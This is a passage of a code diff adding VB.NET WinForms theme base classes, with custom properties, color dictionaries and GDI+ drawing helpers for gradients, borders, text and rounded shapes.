+ Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _SmartBounds As Boolean = True + Property SmartBounds() As Boolean + Get + Return _SmartBounds + End Get + Set(ByVal value As Boolean) + _SmartBounds = value + End Set + End Property + + Private _Movable As Boolean = True + Property Movable() As Boolean + Get + Return _Movable + End Get + Set(ByVal value As Boolean) + _Movable = value + End Set + End Property + + Private _Sizable As Boolean = True + Property Sizable() As Boolean + Get + Return _Sizable + End Get + Set(ByVal value As Boolean) + _Sizable = value + End Set + End Property + + Private _TransparencyKey As Color + Property TransparencyKey() As Color + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.TransparencyKey Else Return _TransparencyKey + End Get + Set(ByVal value As Color) + If value = _TransparencyKey Then Return + _TransparencyKey = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.TransparencyKey = value + ColorHook() + End If + End Set + End Property + + Private _BorderStyle As FormBorderStyle + Property BorderStyle() As FormBorderStyle + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.FormBorderStyle Else Return _BorderStyle + End Get + Set(ByVal value As FormBorderStyle) + _BorderStyle = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.FormBorderStyle = value + + If Not value = FormBorderStyle.None Then + Movable = False + Sizable = False + End If + End If + End Set + End Property + + Private _StartPosition As FormStartPosition + Property StartPosition As FormStartPosition + Get + If _IsParentForm AndAlso Not _ControlMode Then Return ParentForm.StartPosition Else Return _StartPosition + End Get + Set(ByVal value As FormStartPosition) + _StartPosition = value + + If _IsParentForm AndAlso Not _ControlMode Then + ParentForm.StartPosition = value + End If + End Set + End Property + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then _ImageSize = Size.Empty Else _ImageSize = value.Size + + _Image = value + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not (IsHandleCreated OrElse _ControlMode) Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + InvalidateBitmap() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _IsParentForm As Boolean + Protected ReadOnly Property IsParentForm As Boolean + Get + Return _IsParentForm + End Get + End Property + + Protected ReadOnly Property IsParentMdi As Boolean + Get + If Parent Is Nothing Then Return False + Return Parent.Parent IsNot Nothing + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _Header As Integer = 24 + Protected Property Header() As Integer + Get + Return _Header + End Get + Set(ByVal v As Integer) + _Header = v + + If Not _ControlMode Then + Frame = New Rectangle(7, 7, Width - 14, v - 7) + Invalidate() + End If + End Set + End Property + + Private _ControlMode As Boolean + Protected Property ControlMode() As Boolean + Get + Return _ControlMode + End Get + Set(ByVal v As Boolean) + _ControlMode = v + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + InvalidateBitmap() + Invalidate() + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If _Transparent AndAlso _ControlMode Then + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + Else + G = Nothing + B = Nothing + End If + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub + +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle + Protected Function Offset(ByVal r As Rectangle, ByVal amount As Integer) As Rectangle + OffsetReturnRectangle = New Rectangle(r.X + amount, r.Y + amount, r.Width - (amount * 2), r.Height - (amount * 2)) + Return OffsetReturnRectangle + End Function + + Private OffsetReturnSize As Size + Protected Function Offset(ByVal s As Size, ByVal amount As Integer) As Size + OffsetReturnSize = New Size(s.Width + amount, s.Height + amount) + Return OffsetReturnSize + End Function + + Private OffsetReturnPoint As Point + Protected Function Offset(ByVal p As Point, ByVal amount As Integer) As Point + OffsetReturnPoint = New Point(p.X + amount, p.Y + amount) + Return OffsetReturnPoint + End Function + +#End Region + +#Region " Center " + + Private CenterReturn As Point + + Protected Function Center(ByVal p As Rectangle, ByVal c As Rectangle) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X + c.X, (p.Height \ 2 - c.Height \ 2) + p.Y + c.Y) + Return CenterReturn + End Function + Protected Function Center(ByVal p As Rectangle, ByVal c As Size) As Point + CenterReturn = New Point((p.Width \ 2 - c.Width \ 2) + p.X, (p.Height \ 2 - c.Height \ 2) + p.Y) + Return CenterReturn + End Function + + Protected Function Center(ByVal child As Rectangle) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal child As Size) As Point + Return Center(Width, Height, child.Width, child.Height) + End Function + Protected Function Center(ByVal childWidth As Integer, ByVal childHeight As Integer) As Point + Return Center(Width, Height, childWidth, childHeight) + End Function + + Protected Function Center(ByVal p As Size, ByVal c As Size) As Point + Return Center(p.Width, p.Height, c.Width, c.Height) + End Function + + Protected Function Center(ByVal pWidth As Integer, ByVal pHeight As Integer, ByVal cWidth As Integer, ByVal cHeight As Integer) As Point + CenterReturn = New Point(pWidth \ 2 - cWidth \ 2, pHeight \ 2 - cHeight \ 2) + Return CenterReturn + End Function + +#End Region + +#Region " Measure " + + Private MeasureBitmap As Bitmap + Private MeasureGraphics As Graphics + + Protected Function Measure() As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(Text, Font, Width).ToSize + End SyncLock + End Function + Protected Function Measure(ByVal text As String) As Size + SyncLock MeasureGraphics + Return MeasureGraphics.MeasureString(text, Font, Width).ToSize + End SyncLock + End Function + +#End Region + + +#Region " DrawPixel " + + Private DrawPixelBrush As SolidBrush + + Protected Sub DrawPixel(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer) + If _Transparent Then + B.SetPixel(x, y, c1) + Else + DrawPixelBrush = New SolidBrush(c1) + G.FillRectangle(DrawPixelBrush, x, y, 1, 1) + End If + End Sub + +#End Region + +#Region " DrawCorners " + + Private DrawCornersBrush As SolidBrush + + Protected Sub DrawCorners(ByVal c1 As Color, ByVal offset As Integer) + DrawCorners(c1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle, ByVal offset As Integer) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height, offset) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawCorners(c1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawCorners(ByVal c1 As Color) + DrawCorners(c1, 0, 0, Width, Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal r1 As Rectangle) + DrawCorners(c1, r1.X, r1.Y, r1.Width, r1.Height) + End Sub + Protected Sub DrawCorners(ByVal c1 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + If _NoRounding Then Return + + If _Transparent Then + B.SetPixel(x, y, c1) + B.SetPixel(x + (width - 1), y, c1) + B.SetPixel(x, y + (height - 1), c1) + B.SetPixel(x + (width - 1), y + (height - 1), c1) + Else + DrawCornersBrush = New SolidBrush(c1) + G.FillRectangle(DrawCornersBrush, x, y, 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y, 1, 1) + G.FillRectangle(DrawCornersBrush, x, y + (height - 1), 1, 1) + G.FillRectangle(DrawCornersBrush, x + (width - 1), y + (height - 1), 1, 1) + End If + End Sub + +#End Region + +#Region " DrawBorders " + + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal offset As Integer) + DrawBorders(p1, 0, 0, Width, Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle, ByVal offset As Integer) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height, offset) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal offset As Integer) + DrawBorders(p1, x + offset, y + offset, width - (offset * 2), height - (offset * 2)) + End Sub + + Protected Sub DrawBorders(ByVal p1 As Pen) + DrawBorders(p1, 0, 0, Width, Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal r As Rectangle) + DrawBorders(p1, r.X, r.Y, r.Width, r.Height) + End Sub + Protected Sub DrawBorders(ByVal p1 As Pen, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + G.DrawRectangle(p1, x, y, width - 1, height - 1) + End Sub + +#End Region + +#Region " DrawText " + + Private DrawTextPoint As Point + Private DrawTextSize As Size + + Protected Sub DrawText(ByVal b1 As Brush, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawText(b1, Text, a, x, y) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal text As String, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If text.Length = 0 Then Return + + DrawTextSize = Measure(text) + DrawTextPoint = New Point(Width \ 2 - DrawTextSize.Width \ 2, Header \ 2 - DrawTextSize.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawString(text, Font, b1, x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Center + G.DrawString(text, Font, b1, DrawTextPoint.X + x, DrawTextPoint.Y + y) + Case HorizontalAlignment.Right + G.DrawString(text, Font, b1, Width - DrawTextSize.Width - x, DrawTextPoint.Y + y) + End Select + End Sub + + Protected Sub DrawText(ByVal b1 As Brush, ByVal p1 As Point) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, p1) + End Sub + Protected Sub DrawText(ByVal b1 As Brush, ByVal x As Integer, ByVal y As Integer) + If Text.Length = 0 Then Return + G.DrawString(Text, Font, b1, x, y) + End Sub + +#End Region + +#Region " DrawImage " + + Private DrawImagePoint As Point + + Protected Sub DrawImage(ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, a, x, y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal a As HorizontalAlignment, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + DrawImagePoint = New Point(Width \ 2 - image.Width \ 2, Header \ 2 - image.Height \ 2) + + Select Case a + Case HorizontalAlignment.Left + G.DrawImage(image, x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Center + G.DrawImage(image, DrawImagePoint.X + x, DrawImagePoint.Y + y, image.Width, image.Height) + Case HorizontalAlignment.Right + G.DrawImage(image, Width - image.Width - x, DrawImagePoint.Y + y, image.Width, image.Height) + End Select + End Sub + + Protected Sub DrawImage(ByVal p1 As Point) + DrawImage(_Image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal x As Integer, ByVal y As Integer) + DrawImage(_Image, x, y) + End Sub + + Protected Sub DrawImage(ByVal image As Image, ByVal p1 As Point) + DrawImage(image, p1.X, p1.Y) + End Sub + Protected Sub DrawImage(ByVal image As Image, ByVal x As Integer, ByVal y As Integer) + If image Is Nothing Then Return + G.DrawImage(image, x, y, image.Width, image.Height) + End Sub + +#End Region + +#Region " DrawGradient " + + Private DrawGradientBrush As LinearGradientBrush + Private DrawGradientRectangle As Rectangle + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(blend, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, 90.0F) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, Color.Empty, Color.Empty, angle) + DrawGradientBrush.InterpolationColors = blend + G.FillRectangle(DrawGradientBrush, r) + End Sub + + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawGradientRectangle = New Rectangle(x, y, width, height) + DrawGradient(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawGradient(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawGradientBrush = New LinearGradientBrush(r, c1, c2, angle) + G.FillRectangle(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " DrawRadial " + + Private DrawRadialPath As GraphicsPath + Private DrawRadialBrush1 As PathGradientBrush + Private DrawRadialBrush2 As LinearGradientBrush + Private DrawRadialRectangle As Rectangle + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, width \ 2, height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal center As Point) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(blend, DrawRadialRectangle, cx, cy) + End Sub + + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle) + DrawRadial(blend, r, r.Width \ 2, r.Height \ 2) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal center As Point) + DrawRadial(blend, r, center.X, center.Y) + End Sub + Sub DrawRadial(ByVal blend As ColorBlend, ByVal r As Rectangle, ByVal cx As Integer, ByVal cy As Integer) + DrawRadialPath.Reset() + DrawRadialPath.AddEllipse(r.X, r.Y, r.Width - 1, r.Height - 1) + + DrawRadialBrush1 = New PathGradientBrush(DrawRadialPath) + DrawRadialBrush1.CenterPoint = New Point(r.X + cx, r.Y + cy) + DrawRadialBrush1.InterpolationColors = blend + + If G.SmoothingMode = SmoothingMode.AntiAlias Then + G.FillEllipse(DrawRadialBrush1, r.X + 1, r.Y + 1, r.Width - 3, r.Height - 3) + Else + G.FillEllipse(DrawRadialBrush1, r) + End If + End Sub + + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal angle As Single) + DrawRadialRectangle = New Rectangle(x, y, width, height) + DrawRadial(c1, c2, DrawGradientRectangle, angle) + End Sub + + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, 90.0F) + G.FillRectangle(DrawGradientBrush, r) + End Sub + Protected Sub DrawRadial(ByVal c1 As Color, ByVal c2 As Color, ByVal r As Rectangle, ByVal angle As Single) + DrawRadialBrush2 = New LinearGradientBrush(r, c1, c2, angle) + G.FillEllipse(DrawGradientBrush, r) + End Sub + +#End Region + +#Region " CreateRound " + + Private CreateRoundPath As GraphicsPath + Private CreateRoundRectangle As Rectangle + + Function CreateRound(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal slope As Integer) As GraphicsPath + CreateRoundRectangle = New Rectangle(x, y, width, height) + Return CreateRound(CreateRoundRectangle, slope) + End Function + + Function CreateRound(ByVal r As Rectangle, ByVal slope As Integer) As GraphicsPath + CreateRoundPath = New GraphicsPath(FillMode.Winding) + CreateRoundPath.AddArc(r.X, r.Y, slope, slope, 180.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Y, slope, slope, 270.0F, 90.0F) + CreateRoundPath.AddArc(r.Right - slope, r.Bottom - slope, slope, slope, 0.0F, 90.0F) + CreateRoundPath.AddArc(r.X, r.Bottom - slope, slope, slope, 90.0F, 90.0F) + CreateRoundPath.CloseFigure() + Return CreateRoundPath + End Function + +#End Region + +End Class + +MustInherit Class ThemeControl154 + Inherits Control + + +#Region " Initialization " + + Protected G As Graphics, B As Bitmap + + Sub New() + SetStyle(DirectCast(139270, ControlStyles), True) + + _ImageSize = Size.Empty + Font = New Font("Verdana", 8S) + + MeasureBitmap = New Bitmap(1, 1) + MeasureGraphics = Graphics.FromImage(MeasureBitmap) + + DrawRadialPath = New GraphicsPath + + InvalidateCustimization() 'Remove? + End Sub + + Protected NotOverridable Overrides Sub OnHandleCreated(ByVal e As EventArgs) + InvalidateCustimization() + ColorHook() + + If Not _LockWidth = 0 Then Width = _LockWidth + If Not _LockHeight = 0 Then Height = _LockHeight + + Transparent = _Transparent + If _Transparent AndAlso _BackColor Then BackColor = Color.Transparent + + MyBase.OnHandleCreated(e) + End Sub + + Private DoneCreation As Boolean + Protected NotOverridable Overrides Sub OnParentChanged(ByVal e As EventArgs) + If Parent IsNot Nothing Then + OnCreation() + DoneCreation = True + InvalidateTimer() + End If + + MyBase.OnParentChanged(e) + End Sub + +#End Region + + Private Sub DoAnimation(ByVal i As Boolean) + OnAnimation() + If i Then Invalidate() + End Sub + + Protected NotOverridable Overrides Sub OnPaint(ByVal e As PaintEventArgs) + If Width = 0 OrElse Height = 0 Then Return + + If _Transparent Then + PaintHook() + e.Graphics.DrawImage(B, 0, 0) + Else + G = e.Graphics + PaintHook() + End If + End Sub + + Protected Overrides Sub OnHandleDestroyed(ByVal e As EventArgs) + RemoveAnimationCallback(AddressOf DoAnimation) + MyBase.OnHandleDestroyed(e) + End Sub + +#Region " Size Handling " + + Protected NotOverridable Overrides Sub OnSizeChanged(ByVal e As EventArgs) + If _Transparent Then + InvalidateBitmap() + End If + + Invalidate() + MyBase.OnSizeChanged(e) + End Sub + + Protected Overrides Sub SetBoundsCore(ByVal x As Integer, ByVal y As Integer, ByVal width As Integer, ByVal height As Integer, ByVal specified As BoundsSpecified) + If Not _LockWidth = 0 Then width = _LockWidth + If Not _LockHeight = 0 Then height = _LockHeight + MyBase.SetBoundsCore(x, y, width, height, specified) + End Sub + +#End Region + +#Region " State Handling " + + Private InPosition As Boolean + Protected Overrides Sub OnMouseEnter(ByVal e As EventArgs) + InPosition = True + SetState(MouseState.Over) + MyBase.OnMouseEnter(e) + End Sub + + Protected Overrides Sub OnMouseUp(ByVal e As MouseEventArgs) + If InPosition Then SetState(MouseState.Over) + MyBase.OnMouseUp(e) + End Sub + + Protected Overrides Sub OnMouseDown(ByVal e As MouseEventArgs) + If e.Button = Windows.Forms.MouseButtons.Left Then SetState(MouseState.Down) + MyBase.OnMouseDown(e) + End Sub + + Protected Overrides Sub OnMouseLeave(ByVal e As EventArgs) + InPosition = False + SetState(MouseState.None) + MyBase.OnMouseLeave(e) + End Sub + + Protected Overrides Sub OnEnabledChanged(ByVal e As EventArgs) + If Enabled Then SetState(MouseState.None) Else SetState(MouseState.Block) + MyBase.OnEnabledChanged(e) + End Sub + + Protected State As MouseState + Private Sub SetState(ByVal current As MouseState) + State = current + Invalidate() + End Sub + +#End Region + + +#Region " Base Properties " + + _ + Overrides Property ForeColor() As Color + Get + Return Color.Empty + End Get + Set(ByVal value As Color) + End Set + End Property + _ + Overrides Property BackgroundImage() As Image + Get + Return Nothing + End Get + Set(ByVal value As Image) + End Set + End Property + _ + Overrides Property BackgroundImageLayout() As ImageLayout + Get + Return ImageLayout.None + End Get + Set(ByVal value As ImageLayout) + End Set + End Property + + Overrides Property Text() As String + Get + Return MyBase.Text + End Get + Set(ByVal value As String) + MyBase.Text = value + Invalidate() + End Set + End Property + Overrides Property Font() As Font + Get + Return MyBase.Font + End Get + Set(ByVal value As Font) + MyBase.Font = value + Invalidate() + End Set + End Property + + Private _BackColor As Boolean + _ + Overrides Property BackColor() As Color + Get + Return MyBase.BackColor + End Get + Set(ByVal value As Color) + If Not IsHandleCreated AndAlso value = Color.Transparent Then + _BackColor = True + Return + End If + + MyBase.BackColor = value + If Parent IsNot Nothing Then ColorHook() + End Set + End Property + +#End Region + +#Region " Public Properties " + + Private _NoRounding As Boolean + Property NoRounding() As Boolean + Get + Return _NoRounding + End Get + Set(ByVal v As Boolean) + _NoRounding = v + Invalidate() + End Set + End Property + + Private _Image As Image + Property Image() As Image + Get + Return _Image + End Get + Set(ByVal value As Image) + If value Is Nothing Then + _ImageSize = Size.Empty + Else + _ImageSize = value.Size + End If + + _Image = value + Invalidate() + End Set + End Property + + Private _Transparent As Boolean + Property Transparent() As Boolean + Get + Return _Transparent + End Get + Set(ByVal value As Boolean) + _Transparent = value + If Not IsHandleCreated Then Return + + If Not value AndAlso Not BackColor.A = 255 Then + Throw New Exception("Unable to change value to false while a transparent BackColor is in use.") + End If + + SetStyle(ControlStyles.Opaque, Not value) + SetStyle(ControlStyles.SupportsTransparentBackColor, value) + + If value Then InvalidateBitmap() Else B = Nothing + Invalidate() + End Set + End Property + + Private Items As New Dictionary(Of String, Color) + Property Colors() As Bloom() + Get + Dim T As New List(Of Bloom) + Dim E As Dictionary(Of String, Color).Enumerator = Items.GetEnumerator + + While E.MoveNext + T.Add(New Bloom(E.Current.Key, E.Current.Value)) + End While + + Return T.ToArray + End Get + Set(ByVal value As Bloom()) + For Each B As Bloom In value + If Items.ContainsKey(B.Name) Then Items(B.Name) = B.Value + Next + + InvalidateCustimization() + ColorHook() + Invalidate() + End Set + End Property + + Private _Customization As String + Property Customization() As String + Get + Return _Customization + End Get + Set(ByVal value As String) + If value = _Customization Then Return + + Dim Data As Byte() + Dim Items As Bloom() = Colors + + Try + Data = Convert.FromBase64String(value) + For I As Integer = 0 To Items.Length - 1 + Items(I).Value = Color.FromArgb(BitConverter.ToInt32(Data, I * 4)) + Next + Catch + Return + End Try + + _Customization = value + + Colors = Items + ColorHook() + Invalidate() + End Set + End Property + +#End Region + +#Region " Private Properties " + + Private _ImageSize As Size + Protected ReadOnly Property ImageSize() As Size + Get + Return _ImageSize + End Get + End Property + + Private _LockWidth As Integer + Protected Property LockWidth() As Integer + Get + Return _LockWidth + End Get + Set(ByVal value As Integer) + _LockWidth = value + If Not LockWidth = 0 AndAlso IsHandleCreated Then Width = LockWidth + End Set + End Property + + Private _LockHeight As Integer + Protected Property LockHeight() As Integer + Get + Return _LockHeight + End Get + Set(ByVal value As Integer) + _LockHeight = value + If Not LockHeight = 0 AndAlso IsHandleCreated Then Height = LockHeight + End Set + End Property + + Private _IsAnimated As Boolean + Protected Property IsAnimated() As Boolean + Get + Return _IsAnimated + End Get + Set(ByVal value As Boolean) + _IsAnimated = value + InvalidateTimer() + End Set + End Property + +#End Region + + +#Region " Property Helpers " + + Protected Function GetPen(ByVal name As String) As Pen + Return New Pen(Items(name)) + End Function + Protected Function GetPen(ByVal name As String, ByVal width As Single) As Pen + Return New Pen(Items(name), width) + End Function + + Protected Function GetBrush(ByVal name As String) As SolidBrush + Return New SolidBrush(Items(name)) + End Function + + Protected Function GetColor(ByVal name As String) As Color + Return Items(name) + End Function + + Protected Sub SetColor(ByVal name As String, ByVal value As Color) + If Items.ContainsKey(name) Then Items(name) = value Else Items.Add(name, value) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal r As Byte, ByVal g As Byte, ByVal b As Byte) + SetColor(name, Color.FromArgb(a, r, g, b)) + End Sub + Protected Sub SetColor(ByVal name As String, ByVal a As Byte, ByVal value As Color) + SetColor(name, Color.FromArgb(a, value)) + End Sub + + Private Sub InvalidateBitmap() + If Width = 0 OrElse Height = 0 Then Return + B = New Bitmap(Width, Height, PixelFormat.Format32bppPArgb) + G = Graphics.FromImage(B) + End Sub + + Private Sub InvalidateCustimization() + Dim M As New MemoryStream(Items.Count * 4) + + For Each B As Bloom In Colors + M.Write(BitConverter.GetBytes(B.Value.ToArgb), 0, 4) + Next + + M.Close() + _Customization = Convert.ToBase64String(M.ToArray) + End Sub + + Private Sub InvalidateTimer() + If DesignMode OrElse Not DoneCreation Then Return + + If _IsAnimated Then + AddAnimationCallback(AddressOf DoAnimation) + Else + RemoveAnimationCallback(AddressOf DoAnimation) + End If + End Sub +#End Region + + +#Region " User Hooks " + + Protected MustOverride Sub ColorHook() + Protected MustOverride Sub PaintHook() + + Protected Overridable Sub OnCreation() + End Sub + + Protected Overridable Sub OnAnimation() + End Sub + +#End Region + + +#Region " Offset " + + Private OffsetReturnRectangle As Rectangle 